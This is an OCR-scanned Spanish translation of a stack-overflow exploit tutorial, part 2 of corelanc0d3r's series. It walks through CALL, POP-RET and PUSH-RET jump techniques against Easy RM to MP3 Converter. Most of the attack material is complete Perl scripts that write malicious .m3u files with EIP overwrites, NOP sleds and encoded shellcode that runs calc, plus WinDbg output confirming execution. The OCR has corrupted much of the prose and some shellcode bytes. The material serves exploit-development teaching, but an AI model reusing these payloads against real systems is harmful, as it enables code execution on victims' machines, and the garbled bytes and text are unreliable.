Creacion de Exploits por corelanc0d3r N° 2 traducido por Ivinson/CLS

Tutorial de Creacion de Exploits parte 2:
Stack Based Overflows o Desbordamiento de la Basel &tack.

Saltando a la Shellcode

¢, A donde quieres Jumpear hoy®

En mi tutorial anteriorhttp://www.mediafire.com/?4fxv630]8k8yfal
expliqué lo basico acerca de como descubrir unaevabilidad y usar esa
informacion para crear un script funcional. En jehglo que usé en ese
tutorial, vimos que ESP apunta casi directamenteriacipio de nuestro
buffer (solo teniamos que anteponer 4 bytes a dédlc®lle para hacer que
ESP apuntara directamente a la Shellcode) y pudusas un JMP ESP
para lograr ejecutar Shellcode.

Nota: este tutorial es un complemento de la parteot favor, tomate tu
tiempo para leer la parte 1 y entenderla anteoderfe a leer ésta.

El hecho de que pudiéramos usar “JMP ESP”, fue ugasiescenario
perfecto. No siempre es *“facil”. Hoy hablaré de astrformas de
ejecutar/saltar a la Shellcode, y finalmente acateacudles son tus
opciones si te encuentras con buffers pequefios.

Hay una variedad de métodos para forzar la ejenuteda Shellcode.

« JMP o CALL: Un registro que apunta a la Shellco@en esta
técnica, basicamente usas un registro que coriietiseccion donde
esta la Shellcode y pone esa direccion en EIPa3dg encontrar el
Opcode de un JMP o CALL a ese registro en unagi®lad."s que
es cargada al ejecutarse la aplicacion. Cuandcshacayload, en
vez de sobrescribir EIP con una direccion en menarecesitas
sobrescribir EIP con la direccién del JMP al regisPor supuesto,
esto solo funciona si uno de los registros dispesiliiene una
direccién que apunte a la Shellcode. Asi fue conndirpos lograr
gue nuestro exploit funcionara en el tutorial 1r Potanto, no las
volveré a explicar.

« POP-RET: Si ninguno de los registros apunta dineetde a la
Shellcode, pero puedes ver una direccion en elkSfadmera,
segunda...direccion en el Stack) que apunte a ldcBHel entonces
tu puedes cargar el valor en EIP poniendo primergountero a
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POP RET, POP POP RET o POP POP POP RET (todo de=pehd
lugar donde se encuentre la direccion en el SexlEIP.

PUSH RET: Este método solo es un poco diferentéadécnica
“CALL Registro”. Si no puedes conseguir un Opcedan <JMP
Registro> o <CALL Registro>, simplemente podriasngio la
direccion en el Stack y luego un RET. Tratas deometnar un
<PUSH Registro> seguido por un RET. Encontrar etddp para
esta secuencia, encontrar una direccién gue ejestaesecuencia y
sobrescribir EIP con esta direccion.

JMP[Reg+Offset]: Si hay un registro que apunte affds que

contiene la Shellcode, pero no apunta al princg®@oa Shellcode,
puedes tratar también de encontrar una instruceoruna de las
DLL's de la aplicacion o del SO, la cual agregand bytes

necesarios al registro y luego saltara a ese reghde referiré a este
método como: JMP[Reg+Offset].

Retorno Ciego: En mi tutorial, expliqgué que ESR adsicion actual
del Stack (por definicion). Un RET POPeara o qéitims ultimos
valores (4 bytes) y pondra esa direccion en EIRoBrescribes EIP
con la direccién que ejecutara un RET, cargar&alel almacenado
de ESP a EIP. Si te encuentras con que el espaspmnible
(después de sobrescribir EIP) es limitado, pereeenucho espacio
antes de sobrescribir EIP, podrias usar JMP Cdefigel buffer mas
pequeio al salto hacia la Shellcode principal eprilaera parte del
buffer.

SEH: Cada aplicacién tiene un manejador de exceesigoor
defecto que es provista por el SO. Aln si la api@ano usa manejo
de excepciones, puedes tratar de sobrescribir eéjador SEH con
tu propia direcciéon y hacerlo saltar a tu Shellcadan SEH, puedes
hacer un exploit mas seguro en varias plataforradd/iidows, pero
requiere mas explicacion antes de que puedas empegausar del
SEH para escribir exploits. La idea detras de estque si haces un
exploit que no funcione en un determinado SO, e@®rl Payload
puede crashear la aplicacion y producir una exéepcsi puedes
combinar un exploit “regular” con un exploit basada SEH,
entonces has construido un exploit mas seguroo@estmaneras, la
proxima parte de esta serie de tutoriales (parteaBra con SEH.
Solo recuerda que un Desbordamiento de la BasStdek, donde
puedes sobrescribir EIP, podria potencialmenter estf@to a una
técnica de exploit basada en SEH también, dandaseestabilidad,
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un tamafio de buffer mas grande y sobrescribir BfRadin SEH, asi
que es ganar, gané.

Las técnicas explicadas en este documento, son ejetaplos. El
objetivo de este tutorial es explicarte que hayagaiormas de saltar a tu
Shellcode, y en otros casos puede haber solo ymeege requerir una
combinacion de técnicas para ejecutar tu codigitrario.

Puede haber muchos métodos para que tu exploitohenae forma
segura, pero si dominas las explicadas aqui gas tu sentido comun,
podras encontrar la forma de enfrentar muchos @neds cuando trates
de hacer un exploit para saltar a tu Shellcode. #\iuma técnica parece
gue funciona, pero la Shellcode no quiere ejecaitatm puedes jugar
con los codificadores de Shellcodes, poner la &ad un poco mas
lejos y poner algunos NOP’s antes de la Shelldésias son todas las
cosas que te ayudaran para que tu exploit funcione.

Por supuesto, es perfectamente posible que unarabitidad solo lleve
a un error y nunca pueda ser explotada.

Démosle un vistazo a la implementacion practicaalgginas de las
técnicas antes mencionadas.

CALL[Reg]

Si un registro es cargado con una direccion quataplirectamente a la
Shellcode y al primer byte de ESP de tu Shellcet¢onces puedes
sobrescribir EIP con la direccion del CALL ESP y Saellcode se
ejecutara. Esto funciona con todos los registroesymuy popular
kernel32.dll contiene muchas direcciones CALL[Req].

Ejemplo rapido: asumiendo que ESP apunta a la Gldell primero,
busca una direccion que tenga el Opcode “CALL ESPsaremos
FindJMP:

findjmp.exe kernel32.dll esp

Findjmp, Eeye, I2S-LaB

Findjmp2, Hat-Squad

Scanning kernel32.dll for code useable with the esp register
0x7C836A08 call esp

0x7C874413 jmp esp

Finished Scanning kernel32.dll for code useable with the esp register
Found 2 usable addresses
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Ahora, escribe el exploit y sobrescribe Ox7C836A08.

Del ejemplo del Easy RM to MP3 del tutorial 1. Sabs que podemos
apuntar a ESP al principio de nuestra Shellcoddiendo 4 caracteres
entre el espacio donde EIP es sobrescrito y ESPexpioit comun,
luciria asi:

my $file= "testl.m3u";
my $junk= "A" x 26094;

my $eip = pack('V',0x7C836A08); #overwrite EIP with call esp

my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of
shellcode bytes

my $shellcode = "\x90" x 25; #start shellcode with some NOPS

# windows/exec - 303 bytes
# http:

# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc

$shellcode = $shellcode .
"\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49"
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\Xx58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\Xx4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c"
"\Xx4b\ x50\ x41f\x42\x38\x4c\x4b\x51\x41f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\Xx31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43"
"\Xx37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\Xx4b\x51\x41f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44"
"\Xx4c\x50\x4b\x4c\x4b\x51\x4F\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44"
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42"
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45"
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";

open($FILE,">$file");

print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);

print "Archivo m3u creado con exito\n";
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ModLoad: 77e6b000
ModLoad: 7770000 77f{02000
Hodload: 77f=0000 F7££1000
ModLload: 77£10000 77£59000
Modload: 7e410000 7edal000
Hodload: 00330000 003359000
ModLload: 78000000 78045000
ModLoad: 77=00000 77=08000
Hodload: 73440000 73ece000

CWINDOWS sy=temd2~ADVAPIIZ dl
SWINDOWSwsy=stend 2~RPCRT4 .dl1
SWINDOWSwsy=tend 2 Securi? dl
CWINDOWS sy=stem3Z2~GDI32 dll
SWINDOWSwsystend 2~UISER32 . d11
SWINDOWSwaystend2~NHormaliz 4!
SHINDOWS systendd~iertutil  d!
SWINDOWSwsy=stend 2~VERSICOH . dl

SWWINDOUS~=ystend2~MFC42 DLL
ModLoad: 762b0000 763£9000 SHINDOWS systend2~wcondlgld  d.
ModLoad: 54090000 5 Calculator

MCTL32 .d.
ModLoad: 7c9c0000 7 =JEH3QELIS2.dl

ModLoad: 76080000 7 Edit “iew Help NCPe0.dl.
ModLoad: 7eb40000

lalnislieslisisininlinlyl

I d11
Modlosd: 76330000 7 | 0. W32 DLL
ModLoad: 77340000 Hicrosofi
ModLoad: 74720000 CTF . d11
ModLoad: 755c0000 I Backspace|  CE | c Etfime . ir
ModLoad: 77420000 =32.d11

HodLoad: 10000000 - . . - ; | BY to ME
HodLoad: 71ab00oo A b 32 411
ModLosd: 71aa0000 CHELF . d1:
HodLoad: 00ce0000 [E]] | 4 | 5 | 5 | * | -4 | FM to HP.
Modlosd: 01290000 SM to MP:
ModLoad: 00280000 Msl ] | 2 | 3 | ) | 12 | RM to ME
HodLoad: 01b10000 " | R to HP:
Modlosd: 01f=0000 JCIRT. A1
ModLosd: 77120000 b+ 0 +- + = | CAUTIZ . d.

HodLoad: 02200000 HM o P
Hodload: 73000000 Foocoooo oI T THSPOOL . D1
ModLoad: 02240000 02250000 C:~Program Files“Ea=yv EM to HP:
HodLoad: 02460000 02472000 C:“~Program Files~Ea=y EM to HF.
Hodload: Fhe=0000 F4f1=000 CoNINDOUS systen3 2~RASAPTISZ 4!
HodLoad: 76e90000 76esz000 CoWIHDOWSsystend 2 rasnan . dll

—AT__a3. rLAfAAna FLALEAnn A TTTATATT, . L L A WTTmATT AN 3

N B et o e e Tt e B e B Bt Bt M B |

iVoila!
POP-RET

Como expliqué arriba, en el ejemplo de Easy RM @3Mpudimos ajustar
nuestro buffer para que apuntara a la Shellcodgué gal no hubiera un
registro que apuntara la Shellcode?

Bueno, en este caso una direccion apuntando aelic&dte puede estar en
el Stack. Si Dumpeas ESP, mira las primeras doeesi. Si una de ellas
apunta a tu Shellcode o a un buffer que contreletnces puedes buscar
un POP RET, POP POP RET o POP POP POP RET (nadeegqaqui con
un exploit basado en SEH) para:

-Tomar direcciones del Stack y saltarlas.
-Saltar la direccidn que deberia traerte a la Sbed.

La técnica POP-RET se usa obviamente solo cuanée-@fset ya tiene
una direccion que apunta a la Shellcode. Dumpea E8Ri una de las
primeras direcciones apunta a la Shellcode y pan referencia a POP
RET, POP POP RET o POP POP POP RET en EIP. Est@ardoatguna
direccion del Stack (una por cada POP) y pondg@rdaima direccion en
EIP. Si eso apunta a la Shellcode, entonces tlsgana
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Hay un segundo uso para POP RET. ¢Qué tal si tamtEdP, ningun
registro apunta a la Shellcode, pero tu Shellca@uede encontrar en
ESP+8? En ese caso, puedes poner un POP POP RHP guoe saltara a
ESP+8. Si pones un puntero a JMP ESP en ese kigances saltara a la
Shellcode gue esta justo después al puntero JIMP ESP

Hagamos una prueba. Sabemos que necesitamos 2§01 antes de
sobrescribir EIP y 4 bytes mas antes de llegar dirkzccion del Stack
donde ESP apunta (en mi caso apunta a 0x000ff730)

Simularemos que, en ESP+8, tenemos una direcci@n apuinta a la
Shellcode. De hecho pondremos la Shellcode dekr&3eenuevo, esto es
solo una prueba. El objetivo es hacer que salpeimer BP. Directamente
al segundo BP, el cual esta en ESP+8 bytes = OKBHf

my $file= "testl.m3u";

my $junk= "A" x 26094;

my $eip = "BBBB"; #overwrite EIP

my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of
shellcode bytes

my $shellcode = "\xcc"; #first break

$shellcode = $shellcode . "\x90" x 7; #add 7 more bytes
$shellcode = $shellcode . "\xcc"; #second break
$shellcode = $shellcode . "\x90" x 500; #real shellcode

open($FILE,">$file");

print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);

print "Archivo m3u creado con exito\n";

Miremos el Stack:

La aplicacion crashed por el desbordamiento dechuffemos sobrescrito
EIP con “BBBB”. ESP apunta a 000ff730, el cual cenzia con el primer
BP, luego 7 NOP’s, y después vemos el segundo BReglmente es el
inicio de nuestra Shellcode y esta en la direcOxi00ff738.

€ax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce@ edi=000067fa
eip=42424242 esp=000ff730 ebp=00344200 iopl=0 nv up ei pl nz na pe nc
Cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00000206
Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.
<Unloaded_P32.d11>+0x42424231:

42424242 ?? ???

0:000> d esp

000ff730 cc 90 90 90 90 90 90 90-cc 90 90 90 90 90 90 99 ................
000ff740 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
000ff750 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
000ff760 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
000ff770 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
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000ff780 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
000ff790 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
000ff7a@ 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................

0:000> d 000ff738

000ff738 cc 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
000ff748 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
000ff758 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
000ff768 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
000ff778 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
000ff788 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
000ff798 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
000ff7a8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................

La meta es conseguir el valor de ESP+8 en EIP grhaqoe salte a la
Shellcode. Usaremos la técnica del POP RET masrdacibn del JMP

ESP para lograr esto. Un POP quitara 4 bytes ¢ tiel Stack. ESP
apuntaria a 000ff738. Cuando se ejecuta un REValel en la direcciéon

actual en ESP se pone en EIP. Si el valor en 088ftontiene la direccion
de un JMP ESP, entonces eso lo que EIP haria. fi¢rbdespués de
000ff738 debe contener nuestra Shellcode. Necesstagncontrar la
secuencia de instruccion POP POP RET en alguna paabrescribir EIP
con la direccion de la primera parte de esa se@endebemos apuntar
ESP+8 a la direccion del IMP ESP seguido por lanaiShellcode.

Primero que todo, necesitamos saber el Opcode gpdP®P POP RET.
Usaremos la funcion de ensamblado en Windbg pareseguir los
Opcodes.

0:000> a
7c90120e pop eax
pop eax

7c90120f pop ebp
pop ebp

7c901210 ret

ret

7c901211

0:000> u 7c90120e
ntdll!DbgBreakPoint:

7c90120e 58 pop eax

7c90120f 5d pop ebp

7¢901210 c3 ret

7¢901211 ffcc dec esp

7¢901213 c3 ret

7c901214 8bff mov edi,edi

7c901216 8b442404 mov eax,dword ptr [esp+4]
7¢90121a cc int 3

Asi que los Opcodes del POP POP RET son: 0x58, Ox83.
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Por supuesto, puedes POPear otros registros tantbééoms son algunos
Opcodes de registros disponibles:

pop

Ahora, necesitamos buscar esta secuencia en urasdBLL’s
disponibles. En el tutorial 1 hemos hablado deDliak’s de una aplicacion
versus las plataformas/versiones de Windows, pérorgecesitas que la
DLL use la misma direccion base siempre. Algunasesglas DLL's se
rebasan y en ese escenario pudo haber sido mejoune de las DLL’s del
SO (user32.dll o kernel32.dll por ejemplo)

Abre Easy RM to MP3 (no abras ningun archivo nianpdr el estilo) y
luego atachalo con Windbg.

Windbg mostrara los médulos cargados tanto losS@&lcomo los de la
aplicacion. Mira la parte superior de la salidaWedbg y busca las
lineas que comienzas con ModLoad.

Estas son un par de DLL’s de la aplicacion:

ModLoad: ©00ce0000 00d7f000 C:\Program Files\Easy RM to MP3
Converter\MSRMfilterel.d1ll
ModLoad: 01290000 01b01000  C:\Program Files\Easy RM to MP3
Converter\MSRMCcodec@0.d11
ModLoad: ©0c80000 00c87000  C:\Program Files\Easy RM to MP3
Converter\MSRMCcodec@1.d11l
ModLoad: ©01bl00ee 01fddeee®  C:\Program Files\Easy RM to MP3
Converter\MSRMCcodec02.d11

Puedes mostrar la base de la imagen (image basehaldDLL ejecutando
dumpbin.exe de Visual Studio con parametros/cabeceontra la DLL.
Esto te permitira definir las direcciones mas ajtasas bajas para realizar
busquedas.
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Deberias tratar de evitar usar direcciones queengan bytes NULL
porque haria mas dificil al exploit, no imposible.

Una busqueda en MSRMCcodec00.dll, te da algunodtadss:

0:014> s 01290000 1 01b01000 58 5d c3

01ab6ale 58 5d c3 33 cO 5d c3 55-8b ec 51 51 dd 45 @8 dc X].3.].U..QQ.E..
©1ab8da3 58 5d c3 8d 4d 08 83 65-08 00 51 6a @0 ff 35 6¢c X]..M..e..Qj..51
01ab9d69 58 5d c3 6a 02 eb f9 6a-04 eb f5 b8 00 02 00 00 X].j...Jj........

OK. Podemos saltar a ESP+8 ahora. En ese lugasiteanos poner la
direccion al JMP ESP porque, como expliqué antefRET tomara la
direccidén de ese lugar y lo pondra en EIP. En esdop la direccion de
ESP apuntard a nuestra Shellcode la cual esta@esigula direccion del
JMP ESP.

En el tutorial 1, aprendimos que 0x01ccf23a hafereacia a IMP ESP.

OK. Volvamos a nuestro script de Perl y reemplaceras “BBBB”
(usadas para sobrescribir EIP) con una de lase8ailomes POP POP RET
seguido por 8 bytes (NOP) para simular que la Shed estd a 8 bytes
menos del tope del Stack, luego la direccion deP BBEP y después la
Shellcode.

El buffer se vera asi:

[ AAAAAAAAAAA. . .AA][0x01ab6a10] [ NOPNOPNOPNOPNOPNOPNOPNOP ] [@x0@1ccf23a][S
hellcode]
26094 A's EIP 8 bytes offset JMP ESP
(=POPPOPRET)

Y el flujo completo del exploit se vera asi:

ESP apunta aqui (1) |
I I v
[AAAAAAAAAAA. . . AA][@x@1ab6a10] [ NOPNOPNOPNOPNOPNOPNOPNOP ] [@x@1ccf23a][Shellcode]
26094 A's EIP offset de 8 bytes JMP ESP ~
(=POPPOPRET) | | (2)

ESP ahora apunta aqui (2)

Simularemos ésto con un BP y algunos NOP’s comlic8te asi veremos
si los saltos funcionan bien.

my $file= "testl.m3u";
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my $junk= "A" x 26094;

my $eip = pack('V',0x0lab6al®); #pop pop ret from MSRMfilterel.dll
my $jmpesp = pack('V',0x01lccf23a); #jmp esp

my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of
shellcode bytes

my $shellcode = "\x90" x 8; #add more bytes

$shellcode = $shellcode . $jmpesp; #address to return via pop pop ret ( =
jmp esp)

$shellcode = $shellcode . "\xcc" . "\x90" x 500; #real shellcode

open($FILE,">$file");

print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);

print "Archivo m3u creado con exito\n";

(de8.384): Break instruction exception - code 80000003 (!!! second chance

)

€ax=90909090 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fced@ edi=00OO67fe
eip=000ff73c esp=000ff73c ebp=90909090 iopl=0 nv up ei pl nz na pe nc
€s=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00000206

Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.
<Unloaded_P32.dl1>+0xff72b:

000ff73c cc int 3

0:000> d esp

000ff73c cc 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff74c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff75c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff76c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff77c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff78c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff79c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7ac 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................

Bien. Ese funciond. Ahora, reemplacemos los NOBSpaés del IMP ESP
(ESP+8) con la Shellcode real (algunos NOP’s pstear estar seguros + la
Shellcode, codificado camipha_uppgr(Ejecutar la Calc):

my $file= "testl.m3u";
my $junk= "A" x 26094;

my $eip = pack('V',0x0lab6ale); #pop pop ret from MSRMfilterol.dll
my $jmpesp = pack('V',0x01lccf23a); #jmp esp

my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of
shellcode bytes

my $shellcode = "\x90" x 8; #add more bytes

$shellcode = $shellcode . $jmpesp; #address to return via pop pop ret ( =

jmp esp)

$shellcode = $shellcode . "\x90" x 50; #real shellcode
# windows/exec - 303 bytes
# http:
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# Encoder: x86/alpha_upper

# EXITFUNC=seh, CMD=calc

$shellcode = $shellcode .
"\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49"
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
"\Xx58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\Xx30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47"
"\Xx4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c"
"\x4b\x50\x41f\x42\x38\x4c\x4b\x51\x41f\x47\x50\x43\x31\x4a"
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50"
"\Xx31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43"
"\Xx37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a"
"\X54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c"
"\Xx4b\x51\x41f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44"
"\x4c\x50\x4b\x4c\x4b\x51\x4F\x45\x4c\x45\x51\x4a\x4b\x4c"
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47"
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50"
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44"
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43"
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42"
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b"
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45"
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";

open($FILE,">$file");

print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);

print "Archivo m3u creado con exito\n";

ModLoad: 723000000 73026000 CoNWINDOWS systend2~WINSPOOL . DRV

HodLoad: 02240000 02250000 C:~Program Files~Easy RM to MP3 Converter~HSRMfilter02 c
ModLoad: 02460000 02472000 C:“Program FilesnEasy EM to MP3 Converter~MSLog.dll
HodLoad: 76es(000 76flc00O CoNWINDOWS systend2~RASAPIZZ .41l

ModLoad : stemd2~rasman.dll
HodLoad : =10 fs £ en 32 NETAPT32 . 411
ModLoad:  Edt View Help stem32 TAPI32 dll
ModLoad: stemd2hrtutils dll
HodLoad : I 0. fstem32~USERENV dll
ModLoad : stemd2 sensapl . dll
HodLoad : =ten32~m=vl_0.d11
HodLoad : I Backspace CE | C | stem32~iphlpapi.dll
HodLoad stemd2 mnswsock dll

HodLoad stem32~rasadhlp.dll
ModLoad: MC 7 g 5 / it sten32urlmon . dll
HodLoad : =tem32~DHSAPT d11
ModLoad: ﬂl _4|_5|_5|_*|i| stem32 hnetcig. dll
HodLoad : stemd2~wshtopip.dll
ModLoad : stem32~appHelp.dll
ModLoad: MS i 2 )8 -~ | 1% | kstem32 CIBCATQ.DIL
ModLoad stemn32~COMRes dll

Modload: || s i | . | - | Fsten32~SETUPAPT dll
ModLoad: =ten32\UxThens dll

HodLoad: tem32 ntshrui dll

HodLoad: 76b20000 76b31000  C:~WINDOWS-system32~ATL DLL

(c80 . cdc): Access violation — code c0000005 (!!! second chance !11)
=ax=00000000 ebx=7cB0353c ecx=fffffc3d edx=00000000 esi=céd44dlile edi=7cBi262c
eip=000££7d0 esp=000£ff720 ebp=7cE00000 1o0pl=0 nv up 1 pl zr na pe nc
c==001b =s=0023 d=s=0023 es=0023 £==003b gs=0000 ef1=00000246

Miz=ing image name, possible paged-out or corrupt data

Mizsing image name. possible paged-out or corrupt data.

His=sing image name. possible paged-out or corrupt data

¢<Unloaded P32.dll>+0=ff7bf:

000££7d0 ac lods byte ptr [e=si] d=:0023:ch44d122=77

jBaam!
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PUSH RET

Este es de alguna manera similar al CALL[Reg]al§uno de los registro
apunta directamente a tu Shellcode y por algunénrap puedes usar un
JMP[Reg] para saltar a la Shellcode, entonces asdri

» Poner la direccién de ese registro en el Stack.
* RET (el cual tomara la direccion del Stack partasal ella)

Para que esto funcione, necesitaras sobrescriBic&h la direccion de un
PUSH[Req] la secuencia de RET en una de las DLL’s.

Imagina que la Shellcode esta ubicada directamentd&eSP. Primero,
necesitas buscar el Opcode para PUSH ESP y pRiTel

0:000> a

000ff7ae push esp
push esp

eooff7af ret

ret

0:000> u QPOff7ae
<Unloaded_P32.d11>+0xff79d:

000ff7ae 54 push esp
eooff7af c3 ret

La secuencia de Opcode®@s4, 0xc3.

Busca este Opcode:

0:000> s 01290000 1 01dffe00 54 C3

013a57f6 54 c3 90 90 90 90 90 90-90 90 8b 44 24 08 85 cO T.......... D$...
01b31d88 54 c3 fe ff 85 c@ 74 5d-53 8b 5c 24 30 57 8d 4c T..... t]S.\$OW.L
01b5cd65 54 c3 8b 87 33 05 00 00-83 f8 06 Of 85 92 01 00 T...3...........
01b5cf2f 54 ¢3 8b 4c 24 58 8b c6-5f 5e 5d 5b 64 89 @d 00 T..L$X.._~][d...
01b5cf44 54 c3 90 90 90 90 90 90-90 90 90 90 8a 81 da V4 T...............
@lbbbb3e 54 c3 8b 4c 24 50 5e 33-cO 5b 64 89 0d 00 00 00 T..L$P~3.[d.....

01bbbb51 54 c3 90 90 90 90 90 90-90 90 90 90 90 90 90 6a T.............. J
@lbf2aba 54 c3 Oc 8b 74 24 20 39-32 73 09 40 83 c2 08 41 T...t$ 92s.@...A
01cofeb4 54 c3 b8 Oe 00 07 80 8b-4c 24 54 5e 5d 5b 64 89 T....... L$T~][d.
01cofécb 54 c3 90 90 90 64 al 00-00 00 00 6a ff 68 3b 84 T....d..... j.h;.
01c692aa 54 c3 90 90 90 90 8b 44-24 04 8b 4c 24 08 8b 54 T...... D$..L$..T
01d35a40 54 c3 c8 3d 10 e4 38 14-7a f9 ce f1 52 15 80 d8 T..=..8.z...R
01d4daa7 54 c3 9f 4d 68 ce ca 2f-32 f2 d5 df 1b 8f fc 56 T..Mh../2...... Vv
01d55edb 54 c3 9f 4d 68 ce ca 2f-32 f2 d5 df 1b 8f fc 56 T..Mh../2...... Vv
01d649c7 54 c3 9f 4d 68 ce ca 2f-32 f2 d5 df 1b 8f fc 56 T..Mh../2...... Vv
01d73406 54 c3 d3 2d d3 c3 3a b3-83 c3 ab b6 b2 c3 0a 20 T..-..:........
01d74526 54 c3 da 4c 3b 43 11 e7-54 ¢3 cc 36 bb c3 f8 63 T..L;C..T..6 c

01d7452e 54 c3 cc 36 bb c3 f8 63-3b 44 d8 00 d1 43 f5 f3 T..6...c;D...C..
01d74b26 54 c3 ca 63 f0 c2 f7 86-77 42 38 98 92 42 7e 1d T..c....wB8..B~.
031d3b18 54 c3 f6 ff 54 c3 f6 ff-4f bd fo ff @@ 6¢c 9f ff T...T...0....1..
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031d3blc 54 c3 f6 ff 4f bd fo ff-00 6c 9f ff 30 ac d6 ff T...0....1..0...

Haz tu exploit y ejecutalo.

my $file= "testl.m3u";
my $junk= "A" x 26094;

my $eip = pack('V',0x01laa57f6); #overwrite EIP with push esp, ret

my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of
shellcode bytes

my $shellcode = "\x90" x 25; f#tstart shellcode with some NOPS

# windows/exec - 303 bytes
# http:

# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc

$shellcode = $shellcode .
"\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
